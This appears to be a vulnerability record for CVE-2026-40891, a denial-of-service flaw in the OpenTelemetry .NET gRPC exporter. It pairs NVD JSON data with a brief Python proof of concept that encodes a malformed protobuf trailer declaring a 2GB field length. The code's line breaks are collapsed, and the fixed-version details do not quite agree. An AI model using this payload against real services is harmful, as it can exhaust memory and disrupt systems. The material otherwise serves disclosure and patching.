CVE-2026-40891

# Conceptual PoC for generating malicious gRPC trailer import struct # Simulate crafting a malformed protobuf message for grpc-status-details-bin # The vulnerability is the 'length' field being extremely large. # Protobuf format: [Field Number << 3 | Wire Type] [Length] [Data] field_number = 1 wire_type = 2 # Length-delimited tag = (field_number << 3) | wire_type # Malicious length: e.g., 2GB (0x80000000) malicious_length = 0x80000000 # Encode tag and length as varint (simplified) def encode_varint(n): data = b'' while n > 0x7F: data += bytes([(n & 0x7F) | 0x80]) n >>= 7 data += bytes([n]) return data trailer_payload = encode_varint(tag) + encode_varint(malicious_length) # The actual data would be missing or truncated, causing allocation attempt. print(f"Malicious Trailer Payload (Hex): {trailer_payload.hex()}")

{"cve": {"id": "CVE-2026-40891", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:28.483", "lastModified": "2026-04-29T14:15:05.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry dotnet is a dotnet telemetry framework. From 1.13.1 to before 1.15.2, When exporting telemetry over gRPC using the OpenTelemetry Protocol (OTLP), the exporter may parse a server-provided grpc-status-details-bin trailer during retry handling. Prior to the fix, a malformed trailer could encode an extremely large length-delimited protobuf field which was used directly for allocation, allowing excessive memory allocation and potential denial of service (DoS). This vulnerability is fixed in 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry:*:*:*:*:*:.net:*:*", "versionStartIncluding": "1.13.1", "versionEndExcluding": "1.15.3", "matchCriteriaId": "9BACBB49-0AF7-4FB3-AAFB-1C9AB3E43F60"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/5980", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/pull/7064", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/open-telemetry/opentelemetry-dotnet/security/advisories/GHSA-mr8r-92fq-pj8p", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}